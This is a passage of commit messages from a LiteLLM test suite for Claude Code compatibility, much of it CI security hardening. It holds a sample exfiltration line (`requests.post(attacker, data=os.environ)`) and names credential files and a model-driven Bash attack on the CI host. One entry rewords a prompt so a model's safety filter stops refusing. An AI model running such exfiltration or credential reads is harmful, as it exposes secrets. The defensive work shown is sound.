The cron systemd unit's `ProtectHome=read-only` blocks writes to
/home/mateo but still allows reads. With `HOME=/home/mateo` forwarded
to the `claude` subprocess, a compromised @anthropic-ai/claude-code
release (running during the `claude --version` probe) — or a
model-directed `Read` tool call during a PDF cell (which passes
`--allowed-tools Read`) — could read host credential files like
~/.config/gh/hosts.yml (gh-host token), ~/.ssh/, or ~/.bash_history
and exfiltrate them.
Two complementary mitigations, addressing veria's exact recommendation:
1. Per-invocation isolated HOME for every `claude` subprocess:
* cli_driver.py: drop HOME from _CLI_ENV_ALLOWLIST; create a
fresh empty tmpdir under tempfile.gettempdir() (`PrivateTmp=true`
keeps it on a service-private tmpfs) and pass it as HOME to
each `claude` invocation. Cleaned up in a `finally` so
timeouts and CLI-not-found don't leak tmpdirs.
* run_daily.sh: the up-front `claude --version` probe also runs
under $CLAUDE_PROBE_HOME (a per-run dir under ${WORKDIR}) so
the probe can never reach the runtime user's real home; the
existing `cleanup` trap removes ${WORKDIR}.
* Closes the `os.path.expanduser('~/.config/gh/hosts.yml')`-style
attack from a compromised CLI / model.
2. Filesystem-level hiding of credential dotdirs in the systemd unit:
* Add `InaccessiblePaths=-/home/mateo/.config/gh -/home/mateo/.ssh
-/home/mateo/.aws -/home/mateo/.docker -/home/mateo/.kube
-/home/mateo/.gnupg`. The kernel hides these paths from every
process in the unit's mount namespace, defeating the absolute-path
attack (`Read('/home/mateo/.config/gh/...')`) that the per-
invocation HOME override alone cannot block.
* Drop `/home/mateo/.config/gh` from `ReadWritePaths=` (it's
now hidden, and we pass GH_TOKEN inline to every `gh` call).
* Pass GH_TOKEN inline to `gh repo clone` in run_daily.sh
(was relying on host gh-cli config); the docs repo is public
so this is a no-op functionally, but it lets us drop the
~/.config/gh dependency entirely.
Tests:
* test_run_claude_uses_isolated_per_invocation_home: pin that the
CLI subprocess never sees the parent's $HOME, and that the
isolated HOME is a fresh tmpdir prefixed claude-cli-home-.
* test_run_claude_isolated_home_is_distinct_per_invocation: pin that
each call gets its own dir (no cross-call planting).
* test_run_claude_isolated_home_cleaned_up_after_run / on_subprocess
_failure: pin that the tmpdir is rm-rf'd on both the happy path
and the timeout/CLI-error path.
* test_version_probe_uses_isolated_home_not_runtime_user_home: pin
that run_daily.sh's probe forwards $CLAUDE_PROBE_HOME, not
${HOME}, into its `env -i` block.
* test_systemd_unit_credential_isolation.py (new): pin that
InaccessiblePaths covers all credential dotdirs, that
.config/gh is not under ReadWritePaths, and that ProtectHome
stays at least read-only.
All 349 existing claude_code unit tests still pass.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
The version-resolver step echoes the resolved CLAUDE_CODE_VERSION into
$BASH_ENV unquoted; CircleCI sources $BASH_ENV at the start of every
subsequent step *before* any env -i wrapper can run, so the job env
(with provider credentials in scope) is live at that moment. A
malicious PR could make the resolver — which lives under
tests/claude_code/ and is therefore PR-controlled — print a value
containing a newline + shell snippet to exfiltrate ANTHROPIC_API_KEY
/ AWS_* / VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN.
Two defenses:
- Reject anything that isn't a strict `N.N.N` semver via
`[[ ... =~ ^N.N.N$ ]]` (whole-string match, not per-line grep).
- shell-quote on write via `printf 'export ...=%q\n'` so a bypass
of the regex still cannot break out of the export assignment.
Pin both with a structural unit test alongside the existing scrub
pins.
When a cell aggregates per-model results across three tiers (Haiku/Sonnet/Opus),
a mix of (pass, not_applicable) used to short-circuit to not_applicable on the
first NA match, discarding the passing tiers from the published matrix.
Treat not_applicable like not_tested when mixed with pass: only return
not_applicable when every observed row is NA. Otherwise any pass surfaces as
pass, so the cell answers 'does this feature work on this provider?' truthfully
when at least one tier passes.
Add two regression tests pinning the new precedence:
- mixed pass + NA → pass
- all NA → not_applicable (with first reason)
- run_daily.sh: extract semver via grep -oE instead of awk '{print $1}' so
the parsed version survives a 'claude --version' output that ever prepends
a label (e.g. 'Claude Code vX.Y.Z'). The previous awk pattern would silently
publish the wrong string in that case.
- _driver_unit_tests/test_basic_messaging.py: narrow pytest.raises(BaseException)
to pytest.raises(pytest.fail.Exception). pytest.fail() raises Failed, which
inherits from BaseException; the new bound matches what the helper raises
without also swallowing KeyboardInterrupt/SystemExit.
Pre-release versions (e.g. 1.0.0-alpha.1, 2.2.0-rc.1) could otherwise win
the newest-by-publish-time selection if a stable release fell inside the
3-day buffer, switching the merge-blocking PR gate to an unstable Claude
Code CLI.
The second assertion in test_bash_allow_rule_is_pinned_to_exact_echo_pong
was dead code: '"Bash"' not in text or '"Bash(echo pong)"' in text
short-circuits to True any time the allow rule is present, which is
guaranteed by the first assertion. A test file containing both the
unrestricted "Bash" pattern AND the restricted "Bash(echo pong)"
pattern would have passed this security check undetected, defeating the
exact-match permissions pin that protects the PR-gate machine executor
from arbitrary host command execution.
Strip the allowed pattern out of the file text before scanning, so the
residual check is independent of the first assertion. The pure helper
_has_bare_bash_token() is exercised directly by three new unit tests
covering both the positive (bare "Bash" → flagged) and negative
(only "Bash(echo pong)" → accepted; unrelated 'Bashing' substrings →
ignored) paths so this regression cannot recur silently.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
Addresses three Bugbot concerns flagged on PR #28027 that are real
behavioral / coverage gaps:
1. matrix_builder._aggregate_cell now joins every failing tier's error
in the published cell instead of silently dropping all but the first.
When Haiku 429s and Opus times out on the same cell, both diagnostics
land in the matrix JSON so docs-page triage can name both outliers.
2. _aggregate_cell treats 'not_tested' rows as absent data: they're
dropped before computing the cell status. Previously a mixed
(pass, not_tested) cell silently fell through to 'not_tested',
discarding the passing tiers and hiding real coverage from the
published matrix. A cell still aggregates to 'not_tested' when
*every* row is 'not_tested' (or there are no rows at all).
3. test_v0_layout.py now structurally validates every feature declared
in manifest.yaml (directory exists, __init__.py exists, every
per-provider test_<provider>.py exists), not just the original six
v0 rows. The EXPECTED_FEATURE_IDS / EXPECTED_PROVIDERS anchor
constants still pin v0 positions; the new manifest-driven tests
extend the same structural guarantees to every post-v0 row so a
broken directory in 'count_tokens', 'tool_search', 'web_search',
etc. fails CI instead of silently becoming a 'not_tested' cell.
Three new builder tests pin the new aggregation behavior:
- mixed pass + not_tested surfaces as pass
- all-not_tested stays not_tested
- multiple fail errors are joined with '; '
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
Address two new Veria comments (2026-05-18T00:10:41Z) on the
claude_code_compat_pr_gate job:
1. .circleci/config.yml (Veria: provider credentials exposed to PR code)
The pytest step runs PR-controlled test code (anything under
tests/claude_code/) and the CircleCI job env carries the provider
creds used to start the proxy container. A malicious PR could add
`requests.post(attacker, data=os.environ)` to any test or
conftest hook and exfiltrate ANTHROPIC_API_KEY / AWS_* /
VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN.
Pytest only needs to talk to the proxy at localhost:4000, so the
credentials are not legitimately required in pytest's env. Wrap
the invocation in `env -i` with a minimal allowlist (PATH /
HOME / USER / TERM / LANG / LC_ALL / TMPDIR + the four
proxy/result-path vars pytest actually reads). Pinned by a new
test in test_circleci_pr_gate_wiring.py so the scrub cannot
silently regress.
2. tests/claude_code/{tool_use,tool_use_streaming,thinking_with_tool_use}
(Veria: model-controlled Bash execution in CI)
The three Bash-using feature directories passed `--allowed-tools
Bash` unrestricted, which lets a compromised provider response
choose any host command to run instead of `echo pong`. On the
PR-gate machine executor that command could `docker inspect
compat-proxy` to dump provider creds from the proxy container.
Tighten every Bash-using cell (15 files total, 5 providers × 3
feature dirs) to:
- --allowed-tools 'Bash(echo pong)' — exact-match pattern per
Claude Code's permission rule syntax. A different command
does not match the allow rule.
- --permission-mode dontAsk — auto-denies tool calls outside the
allow rule instead of falling back to the headless default
(which would defeat the explicit-allow contract).
thinking_with_tool_use prompts are tightened to pin the command
to 'echo pong' so the cell can run under the new restriction
while still exercising the thinking + tool_use shape.
Pinned by a new parametrized test (15 cells × 2 properties = 30
cases) in test_bash_tool_restrictions.py.
The model-Bash mitigation is layered on top of the existing
cli_driver env allowlist (which already scrubs provider creds from
the CLI subprocess env, so even a malicious `echo $ANTHROPIC_API_KEY`
prints nothing) and the build-and-test branch filter (which keeps
external forks from running this job at all). It is not a substitute
for a fully sandboxed CLI runner; the residual risk of Claude Code's
built-in read-only `echo` auto-approve is documented in the per-cell
comments alongside the restriction.
All 223 tests/claude_code/ unit tests pass.
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Address two related Veria comments on the claude_code_compat_pr_gate
job:
1. (line ~2320) The PR-gate version resolver is PR-controlled Python
that runs in the same CircleCI job as the provider secrets injected
later into the proxy container. A malicious PR could modify
tests/claude_code/pr_gate_version_resolver.py to read
ANTHROPIC_API_KEY / AWS_* / VERTEXAI_* / AZURE_FOUNDRY_* /
GITHUB_TOKEN out of os.environ and exfiltrate them over the
resolver's outbound npm registry HTTPS call.
2. (line ~2335) `npm install -g @anthropic-ai/claude-code` runs the
package's `postinstall: node install.cjs` script (verified
against the npm registry metadata for @anthropic-ai/claude-code),
which executes arbitrary code from npm with the full job env.
`claude --version` on the next line also runs package code. A
compromised package release (or transitive registry hijack) could
exfiltrate the same provider credentials. --ignore-scripts is not
viable: the postinstall is the step that fetches the platform
binary, so skipping it would leave the install unusable.
Mitigation:
- Wrap both invocations in `env -i` with a minimal allowlist
(PATH / HOME / USER / TERM / LANG / LC_ALL / TMPDIR — plus
NVM_DIR + CLAUDE_CODE_VERSION on the npm step). BASH_ENV is
intentionally NOT passed through so the scrubbed subshell can't
re-source prior steps' exports.
- Pin the scrub with two new unit tests in
test_circleci_pr_gate_wiring.py so a future YAML refactor cannot
silently drop the env -i wrapper and revert the mitigation. The
tests verify both that `env -i` is present in each step and that
it precedes the actual at-risk invocation in the command body.
Verified locally that `env -i PATH=$PATH HOME=$HOME ... uv run
--no-sync python -m tests.claude_code.pr_gate_version_resolver` still
resolves and prints a CLI version successfully.
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Address the Greptile concern that basic_messaging_streaming and
basic_messaging_non_streaming used the same implementation, so a proxy
that buffered the upstream stream would silently show green for the
streaming row.
The fix:
- _basic_messaging.run_basic_messaging_cell accepts verify_streaming=True,
which passes --include-partial-messages to the claude CLI. That flag
causes the CLI to emit one stream_event record per upstream SSE event
(message_start, content_block_delta, message_stop, ...). A buffering
proxy collapses the stream to a single non-streaming response, so
zero stream_event records are emitted.
- The cell rejects any model whose stream_event count is below
MIN_STREAM_DELTA_EVENTS (2) -- safely above the buffered case for any
non-trivial reply. Same all-must-pass shape as the existing
tool_use_streaming row.
- All five basic_messaging_streaming/test_*.py per-provider cells now
pass verify_streaming=True; the non-streaming variants are unchanged.
- New unit tests cover the helper, the partial-messages flag wiring,
the streamed/buffered branching, and the all-models-must-stream
contract.
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
The conftest's pytest_sessionfinish writes per-cell tagged-union JSON
(compat-results.json) and the per-provider rate-limit summary to paths
controlled by COMPAT_RESULTS_PATH / COMPAT_RATE_LIMIT_SUMMARY_PATH.
The PR gate never set either env var, so the artifacts were written to
the working directory — but store_test_results only collects
test-results/junit.xml, leaving the per-cell JSON unreachable from the
CircleCI artifact browser. Reviewers triaging a red PR gate couldn't
pull the cell-level breakdown without re-running.
Point both env vars at a dedicated compat-artifacts/ directory and add
a store_artifacts step so the JSON blobs become downloadable. Also
extend the existing PR-gate wiring test to pin all three pieces:
COMPAT_RESULTS_PATH override, COMPAT_RATE_LIMIT_SUMMARY_PATH override,
and at least one store_artifacts step whose path matches the directory
the exports point at. Without the cross-check, a future refactor could
break the chain (e.g. only export the env vars, or only add the
store_artifacts step) and the wiring would silently drop the artifacts
again.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
The release pagination loop in run_daily.sh used to break the moment a
page contained any v*-stable tag. GitHub's /releases endpoint orders by
created_at, not semver, so a freshly-cut backport on an older series
(e.g. v1.80.1-stable published today) can appear on an earlier page than
a higher-versioned release (v1.83.0-stable published two weeks ago).
The early-break would silently pin the cron to the stale tag because
the higher-versioned release on a later page never made it into the
merged set the final sort_by consumed — and the cron would publish a
compatibility matrix against a stale LiteLLM version with no visible
signal that anything was wrong.
Keep the empty-page guard (so a quiet release feed still doesn't burn
through the full 5-page cap) but drop the broken early-break.
Tests live in tests/claude_code/_publisher_unit_tests/ (mirroring the
existing _driver_unit_tests / _builder_unit_tests / _pr_gate_unit_tests
naming convention already excluded from the PR-gate pytest run). They:
- Statically assert the buggy length>0 + break combo is not in the
pagination loop body.
- Statically assert the empty-page guard is still in place.
- Drive the actual run_daily.sh resolution snippet with a fake curl
whose page 1 contains a low-version backport stable and page 2
contains the high-version stable, then assert that the high-version
tag is the one resolved. This is the end-to-end regression test.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
- Clear _manifest_feature_ids LRU cache in pytest_sessionstart so manifest
changes between pytest.main() invocations within the same process are
picked up, preventing silent result drops.
- Add --ignore flags for the internal _*_unit_tests/ subdirectories to the
Claude Code compat PR gate CircleCI job to match the cron run_daily.sh
pytest invocation.
Co-authored-by: Yassin Kortam <yassin@berri.ai>
- conftest: pytest_runtest_makereport now early-returns on report.skipped
so pytest.skip(...) inside a compat test body doesn't get recorded as
a phantom 'fail' row via the not-failed/empty-collected branch.
- _basic_messaging: drop require_stream_events. The check (not outcome.events)
cannot catch a buffering regression because cli_driver uses
subprocess.run(capture_output=True), which only exposes the post-exit
stdout blob — buffered-then-flushed and truly streamed responses are
indistinguishable. The check was also unreachable as an independent
failure path (empty events -> empty text -> the text check fires first).
Update all five streaming callers and docstrings accordingly.
Co-authored-by: Yassin Kortam <yassin@berri.ai>
- run_claude_models_parallel: catch all exceptions in the per-model
worker and wrap unexpected ones into a ClaudeCLIError so the
documented 'errors as values' contract holds for OSError, ValueError,
etc., not just ClaudeCLIError. Without this, an unexpected raise in
any layer (rate limiter file I/O, infer_provider, etc.) abandons the
remaining models' results and crashes the calling test.
- test_run_claude_places_extra_args_before_prompt: drop the dead first
branch of the 'or' assertion — cmd[-3:] never matches that shape, so
the alternative was misleading dead code.
- basic_messaging_{non_streaming,streaming}/test_*.py: extract the
shared cell body into tests/claude_code/_basic_messaging.py.
Each per-provider file now declares its model list and calls
run_basic_messaging_cell(), eliminating ~700 lines of copy-paste
across 10 files. Updated _builder_unit_tests/test_v0_layout.py to
accept the helper-based pattern alongside direct run_claude() calls.
Co-authored-by: Yassin Kortam <yassin@berri.ai>
run_claude validated empty prompt strings but silently accepted
stdin_input="", letting an empty stdin reach the subprocess and surface
as a confusing CLI failure instead of a clear ValueError.
probe_count_tokens and probe_tool_search were sending requests
directly via httpx with no call to the cross-process RateLimiter
that cli_driver.run_claude uses. During a full matrix run those
unthrottled probes would silently violate the limiter's aggregate
per-provider budget and could push adjacent CLI cells over the
429 threshold.
Acquire one token from the same process-wide limiter (keyed by
infer_provider(model)) before each probe, with an injectable
rate_limiter seam matching run_claude's API for unit tests.
Co-authored-by: Yassin Kortam <yassin@berri.ai>
Matrix grows from 11 to 15 feature rows. All new tests collected + 180
unit tests still pass; smoke runs hit real LiteLLM bug surfaces on
bedrock_invoke, bedrock_converse, and vertex_ai (cells correctly red
in PR #142).
Rename
------
`extended_thinking` -> `thinking` (directory, manifest id+name, 5
test fn names, 5 docstrings, builder unit-test fixtures, sample JSON,
run_compat.sh). Existing test logic already covers both manual
(`thinking.type=enabled`, Haiku 4.5) and adaptive
(`thinking.type=adaptive`, Opus 4.7) shapes because Claude Code picks
the shape per model from `--effort max`; the name change just stops
the column from looking like a Claude 3.7 reference.
New rows
--------
- structured_outputs (5 files, CLI `--json-schema`). Claude Code
synthesizes a single `StructuredOutput` tool from the schema and
surfaces the tool_use input as `structured_output` on the trailing
`result` event. Test ships its own `_validate_against_schema` so
we don't take a jsonschema dep just for matrix surface.
- count_tokens (5 files, HTTP probe). POSTs the proxy's
`/v1/messages/count_tokens` directly and asserts the response is
`{input_tokens: positive int}`. No CLI hook exists for this
endpoint; the test goes through the new http_probe helper instead.
- tool_search (5 files, HTTP probe). Sends
`tools: [{type: tool_search_tool_regex_20251119, name:
tool_search_tool_regex}]` and asserts the proxy doesn't 400. MCP
fan-out via `--mcp-config` would also exercise the tool-search
beta header path, but it's flaky w.r.t. Claude Code's internal
tool-deferral threshold; the HTTP probe hits the actual bug surface
(per-provider beta-header translation `advanced-tool-use-2025-11-20`
vs `tool-search-tool-2025-10-19`).
- long_context_1m (5 files, CLI `--betas context-1m-2025-08-07
--max-budget-usd 6`). A ~210k-token padded prompt over stdin
exercises the 1M-context beta. Sonnet 4.6 + Opus 4.7 only --
Haiku 4.5's window is 200k, so it's excluded from MODELS (not
marked not_applicable) to keep the per-cell aggregator semantics
intact. Prompt uses a document-style preamble + 8 cycling pangrams
rather than repeating identical chunks; without that, Opus 4.7
trips the safety filter mid-response with a Usage Policy refusal.
`--max-budget-usd 6` is a runaway-loop guard, ~2x worst-case Opus
per-cell spend.
New helper
----------
`tests/claude_code/http_probe.py`: shared `ProbeResult` dataclass
plus per-endpoint `probe_*` + `assert_*_shape` pairs for the
HTTP-probe rows. Uses httpx with `anthropic-version: 2023-06-01` and
a 30s timeout.
The cron host has no write access to BerriAI/litellm-docs by design. PRs
now open from a long-lived fork at agent-shin/litellm-docs:
- run_daily.sh validates AGENT_SHIN_GITHUB_TOKEN up front (failing 30 min
into a run because the env file is missing one line is wasted spend).
- The pre-commit shim adds a transient `fork` remote with the token
embedded in the URL, force-pushes the branch, then removes the remote
so the token never lives on disk.
- `gh pr create --head agent-shin:<branch>` opens the cross-repo PR
with GH_TOKEN scoped to AGENT_SHIN_GITHUB_TOKEN. A second
`gh pr edit --add-reviewer` runs under GITHUB_TOKEN (mateo-berri's
PAT) because agent-shin's PAT lacks RequestReviewsByLogin permission
on the upstream repo.
- PR_REVIEWERS env var (default `mateo-berri`) controls who gets
auto-tagged; empty disables.
Also bring litellm-compat-matrix.service to working state:
- Hardcode `/home/mateo` paths everywhere %h was used. systemd expands
%h against the *manager's* home (/root for PID 1) in *system* units,
not against the User= directive. The mismatch made ReadWritePaths
point at /root/.cache and the namespace setup failed with
status=226/NAMESPACE before run_daily.sh ever started.
- Explicit Environment=PATH so `uv` and `claude` under
~/.local/bin are visible to the up-front command-presence check;
systemd's default PATH excludes them.
- Expand ReadWritePaths to include ~/.claude (CLI per-session state)
and ~/.config/gh (gh host config fallback); both are written under
ProtectHome=read-only.
env.example refreshed: drop AWS_ACCESS_KEY_ID/SECRET +
GOOGLE_APPLICATION_CREDENTIALS in favor of AWS_BEARER_TOKEN_BEDROCK and
ADC via the VM's metadata server; document AGENT_SHIN_GITHUB_TOKEN,
FORK_OWNER/FORK_REPO overrides, and VERTEXAI_LOCATION=global.
- pytest_runtest_makereport: skip the defensive fail-row append when
the test has already recorded a fail via .add(), so the common pattern
of '.add(fail) per failing model, then pytest.fail() to surface them'
no longer produces duplicate rows in compat-results.json.
- _infer_feature_and_provider: validate the parent directory against
manifest.yaml instead of relying on a negative '_-prefix' filter, so
non-feature sibling dirs (e.g. cron_vm) can't leak rows into the
artifact or pollute the rate-limit summary counters.
Co-authored-by: Yassin Kortam <yassin@berri.ai>
Two related gaps in pytest_runtest_makereport let real failures show up as
green (or absent) cells in the published compatibility matrix:
1. Setup-phase failures (broken fixtures / imports) only produce a report
with when="setup"; the call phase never runs. The hook filtered on
when=="call" and returned, leaving no row for the cell. The matrix
builder then aggregated the empty cell to "not_tested" instead of
"fail".
2. A test that called compat_result.add({"status": "pass"}) for some
models and then raised before completing the rest produced a partial
list of pass entries. The "if not collected" guard was bypassed
because the list was non-empty, so no fail row was added. The cell
aggregator's all-pass check then returned pass for a cell that was
never fully exercised.
Now the hook also handles when=="setup" on failure, and always appends a
fail row when report.failed — preserving any partial pass entries from
add() for diagnostics while ensuring the cell aggregator surfaces the
crash.
Co-authored-by: Yassin Kortam <yassin@berri.ai>
The shim was previously gated on `tests/claude_code/test_config.yaml`
not existing in the worktree, so the moment a v*-stable tag landed
with its own copy of `tests/claude_code/` the cron would happily run
whatever frozen tests that release happened to ship — even though the
populator's whole purpose is to exercise *today's* tests against
*today's* stable proxy.
Drop the if-guard and make the shim unconditional: `rm -rf` the
worktree's `tests/claude_code/` after the tag checkout, then
`cp -r` the dev checkout's copy back in. This way fixes that land
on the dev checkout (like the stream-json vision rewrite, the
`--effort` thinking knob, the WebSearch tool_use assertion change)
take effect on the next cron run rather than waiting for a stable
release. The tag's own version of the tree, if any, is discarded each
run, so the worktree is byte-identical to
`${LITELLM_REPO}/tests/claude_code` every time.
Also drops `-e tests/claude_code` from the post-checkout `git
clean` invocation. We used to keep the prior run's shim across
`git clean -fdx` so subsequent runs didn't have to re-shim;
that's no longer necessary now that we re-shim unconditionally,
and keeping it would only delay garbage-collecting deleted files
across runs.
The previous early-return guard in pytest_sessionfinish exited before
the merge step for the xdist controller process: the controller never
runs tests itself (so _COLLECTOR.items is empty) and is not detected
as a worker (it has no workerinput), so the guard always tripped.
Worker shards were written but no process ever produced the canonical
compat-results.json. Also check for shards on disk so the controller
still proceeds to merge them under pytest -n auto.
Co-authored-by: Yassin Kortam <yassin@berri.ai>
- conftest: combine the two pytest_sessionstart definitions so stale
shard cleanup actually runs (the second def previously shadowed the
first, leaving compat-results.json.shards/ from prior sessions in
place and polluting the merged artifact).
- circleci: forward VERTEXAI_PROJECT and VERTEXAI_LOCATION into the
compat-proxy container so test_config.yaml's os.environ refs for the
Vertex AI routes resolve in the PR gate.
Co-authored-by: Yassin Kortam <yassin@berri.ai>
These three cells were failing for reasons unrelated to LiteLLM
translation:
- vision: tests passed `--image <path>`, a flag that no longer exists
in Claude Code 2.x (image attachment is now via the Files API or via
`--input-format stream-json` with inline content blocks). Rewrite
the cells to feed an Anthropic-shaped user message containing both
text and a base64 `image` content block through stdin in stream-json
mode. Hermetic — no temp file or Files API upload needed.
- extended_thinking: tests set `MAX_THINKING_TOKENS=4096` as an env
var, which Claude Code 2.x ignores. Switch to `--effort max` (the
current CLI knob) and use a non-trivial prompt (3-gallon / 5-gallon
jug puzzle). With trivial arithmetic the modern Sonnet/Opus tiers
optimize away the thinking step and arrive without a thinking block,
which made the test silently false-fail.
- web_search: assertion looked for `server_tool_use` /
`web_search_tool_result` blocks, but Claude Code's `WebSearch` is
a *client-side* tool: the CLI executes the search itself and feeds
the result back as a regular `tool_result` block. The Anthropic
server-side `web_search_20250305` tool only fires when injected
into the request directly (which the CLI does not do). Update the
assertion to look for a `tool_use` block whose name is
`WebSearch` — that's the right signal that the proxy preserved
both the request-side tool definition and the response-side tool_use
block end-to-end.
Driver change required to support stream-json input + variadic flags:
- cli_driver: insert `--` before the prompt positional. Variadic
flags like `--allowed-tools <tools...>` (commander.js) greedily
consume every following token, so the prompt was being eaten as a
tool name and the CLI would error out with "Input must be provided
either through stdin or as a prompt argument when using --print".
- cli_driver: thread a `stdin_input` parameter through `run_claude`
and `run_claude_models_parallel` so the vision rewrite can pipe
stream-json events to the CLI on stdin.
Validated end-to-end against a live LiteLLM proxy: all three Anthropic
cells now pass on Haiku 4.5, Sonnet 4.6, and Opus 4.7. Driver unit
tests (120) still green.
Cursor security review flagged that run_claude() forwarded the entire
parent environment to the externally installed claude CLI binary. In
the PR gate flow the binary is dynamically installed from npm, and
the surrounding job loads every upstream provider credential
(ANTHROPIC_API_KEY, AWS_*, AZURE_FOUNDRY_*, VERTEXAI_CREDENTIALS,
GITHUB_TOKEN, ...) into its env so the proxy can route requests. A
compromised CLI release would have read access to all of them — even
though the CLI itself only ever talks to the proxy via the explicit
ANTHROPIC_BASE_URL/ANTHROPIC_AUTH_TOKEN we set.
Build the subprocess env from a small allowlist of process-runtime
vars (PATH, HOME, NVM_DIR, locale) rather than inheriting all of
os.environ. Caller-supplied extra_env still rides on top, which is
the sanctioned way for tests to opt-in to passing additional vars
(e.g. extended_thinking sets MAX_THINKING_TOKENS).
Add unit tests pinning the contract: PATH/HOME flow through, secrets
do not, and extra_env can still override anything.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
Bugbot flagged that the awk extracting PINNED_UV_VERSION required the
value to start with a specifier (`==`, `>=`, etc.) and silently
fell through to the system uv if pyproject.toml later switched to a
bare `required-version = "0.10.9"` form. Strip any leading
specifier prefix from the quoted value rather than requiring one to
be present, so both prefixed and bare forms resolve to the same
download URL.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
Cursor security review flagged that the cron VM proxy binds to
0.0.0.0 (litellm's default when --host is omitted) while running
under the predictable default `LITELLM_MASTER_KEY=sk-cron-matrix`.
On a VM where :PROXY_PORT is reachable, anything that can hit the
port can authenticate with the predictable fallback secret and burn
upstream provider credentials.
The populator proxy is only ever talked to by the same-host pytest
run (the health check and tests both use http://127.0.0.1:${PORT}),
so there's no reason for it to listen on external interfaces. Pass
`--host 127.0.0.1` explicitly.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
- Switch all per-cell tests from @pytest.mark.parametrize("model", ...)
(3 sequential invocations) to a single test that fans out to all 3
Claude tiers via run_claude_models_parallel. Per-cell wall time is now
bounded by the slowest model rather than the sum.
- Add 5 new v0 feature dirs (5 providers each, 25 new test files):
web_search, pdf_input, prompt_caching_1h,
tool_use_streaming, thinking_with_tool_use
Manifest expanded to match.
- Add cross-process token-bucket rate limiter (rate_limiter.py + tests)
so xdist workers stay under per-provider req/s limits during full-grid
runs. New env knobs: LITELLM_COMPAT_RATE_{ANTHROPIC,AZURE,VERTEX_AI,
BEDROCK_CONVERSE,BEDROCK_INVOKE}.
- conftest.py: write per-worker shards under <artifact>.shards/, merge
in the controller; preserve the "don't write empty artifact" guard so
unit-test runs don't clobber a real compat-results.json.
- Vertex test_config.yaml: route project/location through env so the
cron VM can target a different GCP project than the upstream default.
- Add run_compat.sh wrapper for binary-searching ideal req/s per
provider against compat-rate-limit-summary.json output.
Cursor security review flagged that the cron VM downloads the uv
release tarball and pipes it straight through `tar -xzO ... > file ;
chmod +x`, with no integrity check. A tampered release artifact would
execute in a credentialed cron context with access to the docs-repo
push token.
Download the tarball + the official .sha256 sidecar Astral publishes
alongside every uv release to a temp dir, run `sha256sum -c` against
the sidecar, and only extract+install on success. On mismatch we wipe
the tempdir and `die` with a clear refusal.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
Bugbot flagged that the resolver fetches only the first page (default
30 entries) of the releases endpoint. LiteLLM ships multiple non-stable
releases per day, so 30+ non-stable releases between consecutive
v*-stable tags is routinely the case — when it happens, the jq filter
matches nothing, LITELLM_VERSION is empty, and the daily matrix update
silently dies.
Walk pages 1..5 (100 per page = 500 releases max) and short-circuit as
soon as a page contains at least one v*-stable tag. Same final jq
filter, same sort order.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
Bugbot flagged that `run_claude` placed the prompt as cmd[7] and then
appended extra_args after it. `claude --print` takes the prompt as the
final positional argument; flags appearing after it (e.g.
`--allowed-tools Bash`, `--image <path>`) are swallowed by the prompt
parser, which silently breaks the tool_use and vision cells.
Build the flag list first, then append the prompt last. Add a unit
test that pins the ordering.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
The pytest_sessionfinish hook in tests/claude_code/conftest.py is loaded
for every pytest run under tests/claude_code/, including sibling unit-
test trees (_driver_unit_tests/, _builder_unit_tests/, ...). Without a
guard, those runs wrote an empty results artifact and silently
overwrote any real artifact from a prior compat-test run.
- Add pytest_sessionstart hook in tests/claude_code/conftest.py that
clears the module-level _COLLECTOR so results don't leak across
pytest.main() invocations within the same process.
- Export LITELLM_MASTER_KEY=${PROXY_API_KEY} when launching the cron
VM proxy so the auth token the tests send actually matches what
the proxy expects.
The Claude Code Compatibility Matrix PR gate booted the proxy with only
Anthropic + Bedrock credentials, so every Vertex AI and Azure cell (12
out of 30) failed at startup because test_config.yaml resolves
VERTEXAI_CREDENTIALS, AZURE_FOUNDRY_API_KEY, and AZURE_FOUNDRY_API_BASE
from the environment. Forward those three env vars from the CircleCI
context so the proxy has working routes for all five providers.
Also drop the leftover debug prints in
basic_messaging_non_streaming/test_anthropic.py that wrote the proxy
api_key to stdout (and from there to JUnit XML / CI logs).
The resolver picks the latest `v*-stable` tag of BerriAI/litellm. Until
the compat matrix work itself lands in a stable release, that tag's
tree won't contain `tests/claude_code/` at all — the proxy config and
test files only exist on the work-in-progress stack. Without a shim,
the cron dies with 'proxy config not found at .../test_config.yaml'
on every run.
Fix: after `git checkout <tag>`, if
`<worktree>/tests/claude_code/test_config.yaml` is missing, copy the
directory from ${LITELLM_REPO} (the dev checkout, which has the
in-flight matrix work). The `git clean -e tests/claude_code` line
preserves the shim across runs.
Once the matrix work is in the resolved tag, the if-branch is a no-op
and the shim is never used. No code path needs to be removed later;
the bridge self-disables.
Tier 1 (single anthropic cell) and tier 2 (full
basic_messaging_non_streaming row across 5 providers) now run cleanly
from `run_daily.sh` on the GCP VM. Five issues showed up during
validation; each is fixed in this commit.
1. uv version pin
----------------
The litellm worktree pins an exact uv version in
`pyproject.toml`'s `[tool.uv] required-version` field. The cron
VM's system uv (currently 0.11.8) refused to sync against the
v1.83.10-stable lockfile (which pins ==0.10.9). Fix: parse the
pinned version out of the worktree's pyproject.toml, download the
matching standalone binary into `<worktree>/.uv-bin/uv-<version>`,
and use it for sync/run/proxy. Cached across runs.
2. Missing proxy + dev extras
---------------------------
`uv sync --frozen` only installed the base dependency set, so
`uv run litellm` died at startup with
`ModuleNotFoundError: No module named 'websockets'`. Per the
repo's AGENTS.md the canonical incantation is
`uv sync --frozen --group proxy-dev --extra proxy`.
3. Wrong env vars for the test driver
-----------------------------------
The script was setting `ANTHROPIC_BASE_URL` and
`ANTHROPIC_AUTH_TOKEN`, which is what Claude Code itself reads,
